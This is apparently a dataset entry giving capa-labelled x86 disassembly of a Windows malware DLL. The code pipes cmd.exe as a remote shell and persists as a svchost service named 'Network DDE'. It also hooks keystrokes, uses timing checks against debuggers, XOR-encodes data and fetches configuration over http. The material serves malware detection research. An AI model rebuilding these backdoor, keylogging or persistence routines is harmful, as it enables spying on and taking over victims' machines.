joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100042af
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov esi, ecx
push 0xfffffffffffffff5
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 0x24], eax
lea eax, [ebp - 0xc]
lea edi, [esi + 0x18]
push 0
lea ebx, [esi + 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x100042f6
xor eax, eax
jmp 0x100043b9
push dword [edi]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x100042ef
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push 0
lea eax, [esi + 0x1c]
push 0
push eax
call edi
push eax
push dword [ebx]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x100042ef
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0xc]
mov dword [esi + 0x20], eax
lea ebx, [esi + 0xc]
push 0
lea eax, [esi + 8]
push ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x100042ef
push dword [esi + 8]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x100042ef
push 2
push 0
lea eax, [esi + 0x10]
push 0
push eax
call edi
push eax
push dword [ebx]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x100042ef
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.100043be
test eax, eax
je 0x100042ef
push dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0xfffffffffffffff6
call edi
test eax, eax
je 0x100042ef
push dword [esi + 0x24]
push 0xfffffffffffffff5
call edi
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100043be
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
mov edi, ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [edi + 8]
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x8000000
push 1
push esi
push esi
push str.cmd.exe
push esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x20], esi
mov word [ebp - 0x22], si
mov dword [ebp - 0x4c], 0x10009300
mov dword [ebp - 0x28], 0x101
mov word [ebp - 0x24], si
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10004437
mov eax, dword [ebp - 0x10]
push 1
mov dword [edi + 0x28], eax
pop eax
pop edi
pop esi
leave
ret
Function at 0x1000443b
Capabilities:
Create service
Persist via windows service

Disassembly:
push esi
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push dword [esp + 0x24]
push 1
push 2
push 1
push 0xf01ff
push dword [esp + 0x34]
push dword [esp + 0x38]
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
pop esi
jne 0x1000446c
xor eax, eax
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
pop eax
ret

Function at 0x10004517
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x1000454f
lea eax, [ebp - 0x1c]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x10004650
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x100046ac
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
je 0x100046ac
and word [ebp - 0x10], 0
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
movsx eax, word [ecx + 0xa]
push eax
mov eax, dword [ecx + 0xc]
push dword [eax]
lea eax, [ebp - 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call esi
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x1000484e
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x10004866
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 0x12
inc ecx
cmp ecx, dword [esp + 8]
jb 0x10004856
ret
Function at 0x10004867
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
call fcn.10004940
mov esi, dword [ebp + 8]
and dword [ebp - 0x48], 0
push 8
lea edi, [ebp - 0x44]
mov dword [esi + 0x14], eax
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call fcn.100049b2
and dword [ebp - 0x24], 0
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x34]
push 7
mov dword [esi + 0x18], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x1c]
lea ebx, [esi + 0x78]
shr eax, 0xa
mov dword [esi + 8], eax
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [esi], 0x1f40
jne 0x100048ea
call fcn.10004a92
movsx eax, al
mov dword [esi + 0x10], eax
mov edi, dword [ebp + 0xc]
lea eax, [edi + 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10004901
push ebx
jmp 0x10004908
lea eax, [edi + 0x214]
push eax
lea eax, [esi + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [edi + 0x3c4]
push 0x10
push eax
lea eax, [esi + 0x20]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add edi, 0x384
add esi, 0xb8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004940
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
push edi
push 0x24
xor eax, eax
pop ecx
lea edi, [ebp - 0x90]
rep stosd dword es:[edi], eax
xor esi, esi
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x100049ac
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x100049ac
cmp dword [ebp - 0x8c], esi
jne 0x10004993
push 1
jmp 0x100049ab
cmp dword [ebp - 0x8c], 1
jne 0x100049a0
push 2
jmp 0x100049ab
cmp dword [ebp - 0x8c], 2
jne 0x100049ac
push 3
pop esi
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x100049b2
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 8], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x100
mov dword [ebp - 4], eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call ebx
push 0xf
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.10006a80
add eax, dword [ebp - 0x18]
adc edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
rdtsc
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xc]
jg 0x10004a57
jl 0x10004a43
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jae 0x10004a57
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xc]
jl 0x10004a43
jle 0x10004a3b
rdtsc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push dword [ebp - 4]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push dword [ebp - 8]
call esi
push eax
call ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x28]
push 0
push 0xf424
sbb ecx, dword [ebp - 0x24]
push ecx
push eax
call fcn.10006a80
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004b0d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004b38
xor eax, eax
jmp 0x10004b74
push 2
push esi
push 0xfffff818
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp + 8], esi
push esi
lea eax, [ebp + 8]
mov esi, 0x7e8
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp + 0xc]
call fcn.1000484e
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebp
ret
Function at 0x10004b78
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov dword [ebp - 0x20], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
xor esi, esi
push str.SeShutdownPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x10]
push 2
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 8]
push eax
push 1
push 0x20
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push esi
push esi
lea eax, [ebp - 0x20]
push 0x10
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], esi
pop esi
push 4
je 0x10004beb
push 8
jmp 0x10004bed
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
leave
ret

Function at 0x10004cd1
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
and word [ebp - 0x190], 0
push edi
push 0x63
xor eax, eax
pop ecx
lea edi, [ebp - 0x18e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x7e8
push dword [ebp + 8]
push 0x1000a008
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.100063e0
pop edi
leave
ret

Function at 0x10004d21
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
xor esi, esi
mov dword [0x10009310], 0x110
mov dword [0x10009314], 2
mov dword [0x10009318], 5
mov dword [0x1000931c], esi
mov dword [0x10009320], esi
mov dword [0x10009324], esi
mov dword [0x10009328], esi
call fcn.10004c3c
push 0x10004e2a
push 0x1000a274
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
cmp eax, esi
mov dword [0x1000932c], eax
je 0x10004de4
push edi
push 0x63
pop ecx
xor eax, eax
lea edi, [ebp - 0x18e]
mov word [ebp - 0x190], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push esi
push esi
push esi
push 0x100046b2
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push 4
call fcn.10004de9
add esp, 0xc
push esi
push 0x4ff
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call fcn.100063e0
push esi
push esi
push 1
call fcn.10004de9
add esp, 0xc
pop edi
pop esi
leave
ret 8
Function at 0x10004eb9
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x604
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [ebp - 4], eax
jne 0x10004edd
or eax, 0xffffffff
leave
ret
and byte [ebp - 0x204], 0
push ebx
push esi
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x203]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x204]
push 0xc8
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x204]
push str._svchost.exe__k
push eax
call ebx
push dword [ebp + 8]
lea eax, [ebp - 0x204]
push eax
call ebx
mov esi, str.Network_DDE
lea edi, [ebp - 0x604]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x7c
xor eax, eax
pop ecx
lea edi, [ebp - 0x5f7]
rep stosd dword es:[edi], eax
and byte [ebp - 0x404], 0
push 0x7f
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x403]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.USER32.dll_CharUpperA]
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x604]
push eax
call ebx
xor esi, esi
lea eax, [ebp - 0x204]
push esi
push esi
push esi
push esi
push esi
push eax
push 1
push 2
push 0x110
lea eax, [ebp - 0x604]
push 0xf01ff
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x10004fc8
push eax
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x10004fd4
Capabilities:
Delete service

Disassembly:
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x10004fef
or eax, 0xffffffff
pop esi
ret
push 0xf01ff
push dword [esp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x1000500a
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop esi
ret
Function at 0x10005015
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000509f
push edi
push 0x7f
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
push dword [ebp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x208]
push eax
push 2
push ebx
push str.ServiceDll
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
leave
ret

Function at 0x100050a2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100050f3
lea eax, [ebp + 0xc]
push 4
push eax
push 4
push esi
push str.Start
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x100050f6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10005183
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x7f
mov esi, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
inc esi
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x208]
push esi
push eax
push 1
push ebx
push str.Description
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005186
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push connect
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000520e
push edi
push 0x7f
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
inc eax
push eax
lea eax, [ebp - 0x208]
push eax
push 7
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
leave
ret

Function at 0x100056c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push edi
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
push 0x1000a6e4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100056ed
xor eax, eax
jmp 0x10005717
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
mov dword [ebp - 4], esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x1000571b
Capabilities:
Log keystrokes via application hook

Disassembly:
call fcn.10004bf5
cmp dword [0x1000a004], 0
jne 0x10005743
push 0
push dword [0x10009308]
push 0x100055aa
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x1000a004], eax
ret
Function at 0x10005744
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
and byte [ebp - 0x810], 0
push edi
push 0x7f
xor eax, eax
pop edx
lea edi, [ebp - 0x80f]
mov ecx, edx
and byte [ebp - 0x210], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x20f]
and byte [ebp - 0x610], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x60f]
and byte [ebp - 0x410], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x40f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.USER32.dll_GetActiveWindow]
call edi
cmp dword [section.Share], eax
je 0x10005853
lea eax, [ebp - 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
push eax
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push str.__04d__02d__02d__02d:_02d:_02d_
push eax
call esi
add esp, 0x20
call edi
lea ecx, [ebp - 0x610]
push 0x104
push ecx
push eax
mov dword [section.Share], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.1000553d
pop ecx
lea eax, [ebp - 0x410]
pop ecx
push eax
lea eax, [ebp - 0x610]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x210]
push str._r_n_s__s__s_r_n
push eax
call esi
add esp, 0x14
pop esi
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.100056c0
pop ecx
pop ecx
pop edi
leave
ret
Function at 0x10005882
Capabilities:
Delete file
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea eax, [ebp - 0x108]
push str._d.tmp
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp + eax - 0x108]
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x1000a11c
push str.http:___s
push eax
call esi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.100059ef
add esp, 0x14
test eax, eax
je 0x10005970
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x108]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 4], esi
je 0x10005970
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, ebx
jne 0x10005974
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100059ea
lea eax, [edi + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
mov byte [esi + edi], bl
push dword [ebp - 4]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3a
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov edi, eax
cmp edi, ebx
jne 0x100059c7
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x100059e0
push esi
mov byte [edi], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc edi
push edi
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret